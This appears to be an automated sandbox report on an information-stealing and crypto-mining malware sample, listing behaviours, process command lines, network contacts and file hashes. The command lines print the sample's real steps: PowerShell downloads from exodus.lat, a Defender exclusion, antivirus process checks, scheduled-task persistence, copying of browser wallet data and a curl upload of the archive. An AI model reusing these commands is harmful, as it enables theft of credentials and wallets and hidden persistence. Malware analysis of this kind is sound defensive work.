| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\smartscreen.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
Reads user/profile data of web browsers
Accesses cryptocurrency files/wallets, possible credential harvesting
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmartScreen = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smartscreen.exe" | C:\Users\Admin\AppData\Local\Temp\smartscreen.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\asm\\COMSurrogate.exe" | C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\MovieArchives | C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe | N/A |
| File opened for modification | C:\Windows\PackageExpression | C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\curl.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\curl.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\xcopy.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\choice.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier | C:\Windows\SysWOW64\xcopy.exe | N/A |
Runs net.exe
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe
"C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa opssvc"
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
C:\Windows\SysWOW64\cmd.exe
cmd /c md 491505
C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
Dr.com B
C:\Windows\SysWOW64\choice.exe
choice /d y /t 15
C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
"C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
C:\Windows\SysWOW64\xcopy.exe
xcopy /E /I "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\*" "C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
C:\Windows\SysWOW64\curl.exe
curl -s https://api.ipify.org
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
"C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip'"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
C:\Windows\SysWOW64\curl.exe
curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
C:\Users\Admin\AppData\Local\asm\mi.exe
"C:\Users\Admin\AppData\Local\asm\mi.exe" --config="C:\Users\Admin\AppData\Local\asm\config.json"
C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE //B "C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js"
C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr
"C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\Admin\AppData\Local\CreativePixel Tech\E"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | UWPunrsopYzTstryocRtyY.UWPunrsopYzTstryocRtyY | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| GB | 45.74.38.211:4782 | tcp | |
| US | 8.8.8.8:53 | 211.38.74.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.121.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | exodus.lat | udp |
| NL | 203.161.45.11:443 | exodus.lat | tcp |
| US | 8.8.8.8:53 | 11.45.161.203.in-addr.arpa | udp |
| NL | 203.161.45.11:443 | exodus.lat | tcp |
| NL | 203.161.45.11:443 | exodus.lat | tcp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 104.26.13.205:443 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.178.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | 205.13.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cdn-downloads.com | udp |
| NL | 203.161.45.11:443 | cdn-downloads.com | tcp |
| US | 8.8.8.8:53 | 3.178.250.142.in-addr.arpa | udp |
| NL | 203.161.45.11:443 | cdn-downloads.com | tcp |
| US | 8.8.8.8:53 | r11.o.lencr.org | udp |
| NL | 2.18.121.69:80 | r11.o.lencr.org | tcp |
| US | 8.8.8.8:53 | 51.113.220.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.121.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | pool.hashvault.pro | udp |
| DE | 95.179.241.203:80 | pool.hashvault.pro | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.241.179.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.112.168.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\Audit
| MD5 | 9da23439e34b0498b82ae193c5a8f3a8 |
| SHA1 | ae20bbe7fac03c94e42f4dd206d89003faae7899 |
| SHA256 | 0f241cc0324871a1a900a7ac0edf889a8d12875b1072f44856cc979a4b7a77ac |
| SHA512 | cd4b262753b4f5f1dac09c20fa64ebdee00cf4a3fce92287a7439df943ea65bdf8569f541c2668b2164139b91facccfb3c98db8ad8f686637f4e317583cc98a2 |
C:\Users\Admin\AppData\Local\Temp\Commissioner
| MD5 | 6ee7ddebff0a2b78c7ac30f6e00d1d11 |
| SHA1 | f2f57024c7cc3f9ff5f999ee20c4f5c38bfc20a2 |
| SHA256 | 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4 |
| SHA512 | 57d56de2bb882f491e633972003d7c6562ef2758c3731b913ff4d15379ada575062f4de2a48ca6d6d9241852a5b8a007f52792753fd8d8fee85b9a218714efd0 |
C:\Users\Admin\AppData\Local\Temp\Dentists
| MD5 | 895c5374a042a9e6c78c673690cd2275 |
| SHA1 | 9dfe1b532f958f678de2bac7c74646e007a8fa14 |
| SHA256 | 226099aac21e8d4a671a68b37d204339703fb696b6cc5aa30311fb55d6ab2147 |
| SHA512 | 130af34bb1d12db8e86b930d8e490754687e1381a0104ac4c98cc2f02ff7fc4ed9e1d549121a013e1c32663a00d1dc8eb20d2f9831feb3c7eb17bf61a1d8d52c |
C:\Users\Admin\AppData\Local\Temp\Flavor
| MD5 | d9182f7a263f19b9876e7e1568e6c760 |
| SHA1 | d0683b5a7247a2f4a69473165d2c2649f2e1c01f |
| SHA256 | 4efff79e94f136f9bbaed62501810937785831b8c10ee9eb675ceae24cf3c4c9 |
| SHA512 | 85582b94da822580eb26bc477440d87fb0a9ed98e3b75166cd96c2a18c88367c8bdd808fc43c52c2078e625efd81983e9f2e733272289833700649ad58a96a9b |
C:\Users\Admin\AppData\Local\Temp\Justice
| MD5 | 774df02c553d130dde3aa7496b64ebed |
| SHA1 | e2a4aab8c3b654bd022662045fa70413a80e55f9 |
| SHA256 | ae9283c1a14b751639a75592295d85105954b761737ab77fc1e667a1498f2e9e |
| SHA512 | c132cdf383e4fa32362d50768898ed9c6cd1e306056d066168a8ac1ee3ea7953424ff3b241ff1e0376b99b91f566b698bfef07da9bc45471097a6637dc154d11 |
C:\Users\Admin\AppData\Local\Temp\Artistic
| MD5 | d35007cc8b2860b1fe9ee861e1f2846d |
| SHA1 | 58638fd185601506b3b13fe254065aeb7edff28c |
| SHA256 | de1e4dbe18f0b926b49aceb10157bc7f542409bad6242422efef3b831608a037 |
| SHA512 | 45f851201656cb19c89274d124a7625a4c9fe12f412616a84458aa1857c61455126264416ff7fa1c9ffa99b994613baecfacd1f8179240a5021c7e5b867ea068 |
C:\Users\Admin\AppData\Local\Temp\Disturbed
| MD5 | 0e2df9a4f4d78ad0299f0377d417b39e |
| SHA1 | a2452ab3b04b480dfc2a58a416762e280254751f |
| SHA256 | 8834f63f09734b9f284437f26cba4909ce9ae1aceafa27e2bcd7531c1a7479df |
| SHA512 | d8194f24cc02fc030c7cf1dab5970257a79b8bcc887a8ff1ccd104e94ea809dcd266b056c80e6a0e73cba71f81e654389025c939e3135f6fafca9d51737812b8 |
C:\Users\Admin\AppData\Local\Temp\Proceeds
| MD5 | de061b898e12d89c92409f220918347f |
| SHA1 | 6b571edab30dcc4d5518e5bebb296d1f7bf5414c |
| SHA256 | 70fda66f3ea2607d6cff63d0a6a7258577690d2a9bc5105bb529889ce025d1c2 |
| SHA512 | 61d94f04572643dc4274aedda51e7cb6bcccefcfa4556e6d87f94195ddf90ffbeb65909688c7bc3407f244021cc6dff0c8692fd7835ee61e6a43a0394a693a2b |
C:\Users\Admin\AppData\Local\Temp\Zip
| MD5 | 84f05dddefb1c72567827be553fe67fe |
| SHA1 | c2ebcc4de3439a8206aa8faac90312bfb207ce4f |
| SHA256 | b7de8d92196f323eb9a6237b9e902461569fd093b36e1988dee9de2ab157bb12 |
| SHA512 | 99954fa07fe7cc0e54dbd0af09b32507cd998c8b44cb63f1ffe8e30667b6d1bb0949a6c95b60e40e73f0b0bb3f11e79f8fa23f696032118210cd10f03eec2904 |
C:\Users\Admin\AppData\Local\Temp\Soundtrack
| MD5 | b75737c804ca9949cc63bd42c945a5e6 |
| SHA1 | 75c0490174adc40d1824b1024021b82dd5c762b7 |
| SHA256 | 628068ee856d68776d6e9b755cd42d7a5a46af1a2a6a2c22e65db95b5d2d8f2c |
| SHA512 | 58fedd2bd6318d4b93de429d184701e059321c16872cafc978837c29985404bf432e4a2701894f7f67045f9684da40c8e14f9f557da3398c5d6eeca2e18faca7 |
C:\Users\Admin\AppData\Local\Temp\Revenue
| MD5 | aabc90b85b9c3b51543de0339d29778e |
| SHA1 | 299f5e2ca9326e0a5feefb4fc7b05da93cfd11a1 |
| SHA256 | 9a0a3567f4c9b9ca46fbf41d65cdd5ce464b0efe42d6aaf7cff840addbe05d60 |
| SHA512 | 3d951489d7d46874909bfd82e9cac346bdd15bbb485fc76e1ed7d6fe7bb51a7649d1f649b75bb6f6f1b6f10ea16113cd01c20aa7ea85d038fcb7fe317082edf3 |
C:\Users\Admin\AppData\Local\Temp\491505\B
| MD5 | 0a1e63fc10dd1dbb8b2db81e2388bf99 |
| SHA1 | 67ad39aabbf4875bc1b165ccd5afc40194d1d3c8 |
| SHA256 | 122991768f589431b9166a4e22523bf48a53efff73fc2b191955e604196541b7 |
| SHA512 | 94c50f06e1d157381b9d0746044b5d015e2946b44291d92739783cb3ed9e91371cf7d1b981d3108d910d7a7000810fe69fbe6590f9a84f822b671866ab9db5fc |
memory/1516-369-0x0000000000700000-0x0000000000B04000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
| MD5 | 0d5df43af2916f47d00c1573797c1a13 |
| SHA1 | 230ab5559e806574d26b4c20847c368ed55483b0 |
| SHA256 | c066aee7aa3aa83f763ebc5541daa266ed6c648fbffcde0d836a13b221bb2adc |
| SHA512 | f96cf9e1890746b12daf839a6d0f16f062b72c1b8a40439f96583f242980f10f867720232a6fa0f7d4d7ac0a7a6143981a5a130d6417ea98b181447134c7cfe2 |
memory/1516-372-0x0000000002B00000-0x0000000002B0E000-memory.dmp
memory/1516-373-0x00000000052C0000-0x000000000531C000-memory.dmp
memory/1516-374-0x0000000005990000-0x0000000005F34000-memory.dmp
memory/1516-375-0x0000000005480000-0x0000000005512000-memory.dmp
memory/1516-376-0x00000000052B0000-0x00000000052C2000-memory.dmp
memory/1516-377-0x0000000005460000-0x0000000005468000-memory.dmp
memory/1516-378-0x0000000005960000-0x0000000005968000-memory.dmp
memory/1516-379-0x0000000005970000-0x0000000005978000-memory.dmp
memory/1516-380-0x0000000005F40000-0x0000000005F58000-memory.dmp
memory/1516-381-0x00000000060C0000-0x00000000060D0000-memory.dmp
memory/1516-382-0x0000000006700000-0x0000000006D28000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgjef4ng.kyq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1516-392-0x0000000007190000-0x00000000071AA000-memory.dmp
memory/1516-393-0x00000000071F0000-0x0000000007226000-memory.dmp
memory/1516-394-0x00000000078B0000-0x0000000007F2A000-memory.dmp
memory/1516-395-0x00000000072D0000-0x0000000007366000-memory.dmp
memory/1516-396-0x0000000007230000-0x0000000007252000-memory.dmp
memory/1516-397-0x0000000007370000-0x00000000073D6000-memory.dmp
memory/1516-398-0x0000000007280000-0x000000000729E000-memory.dmp
memory/1516-399-0x0000000007430000-0x000000000747A000-memory.dmp
memory/1516-400-0x0000000007F30000-0x0000000008284000-memory.dmp
memory/1516-401-0x0000000007630000-0x0000000007696000-memory.dmp
memory/1516-402-0x0000000008570000-0x0000000008592000-memory.dmp
memory/1516-405-0x0000000008300000-0x000000000834C000-memory.dmp
memory/1516-415-0x00000000099A0000-0x00000000099BE000-memory.dmp
memory/1516-416-0x00000000099C0000-0x0000000009A63000-memory.dmp
memory/1516-417-0x0000000009C40000-0x0000000009C4A000-memory.dmp
memory/1516-418-0x0000000009C70000-0x0000000009C81000-memory.dmp
memory/1516-419-0x0000000009CB0000-0x0000000009CBE000-memory.dmp
memory/1516-420-0x0000000009CE0000-0x0000000009CF4000-memory.dmp
memory/1516-421-0x0000000009D20000-0x0000000009D3A000-memory.dmp
memory/1516-422-0x0000000009D10000-0x0000000009D18000-memory.dmp
memory/1516-423-0x0000000008AC0000-0x0000000008ACA000-memory.dmp
memory/1516-424-0x0000000009CE0000-0x000000000A2F8000-memory.dmp
memory/1516-425-0x0000000008B20000-0x0000000008B32000-memory.dmp
memory/1516-426-0x0000000008B80000-0x0000000008BBC000-memory.dmp
memory/1516-427-0x0000000008CF0000-0x0000000008DFA000-memory.dmp
memory/1516-428-0x0000000008FD0000-0x0000000009192000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\download.bat
| MD5 | f2a75175c8082ccd3e1713b00556a6e2 |
| SHA1 | 2f5dc37978320bc1ca207c0c0aff1240aad6c7cf |
| SHA256 | 019157c15709f7d6301cb0fb15f45c054230ea91f06ff817b426d7f6ccb14686 |
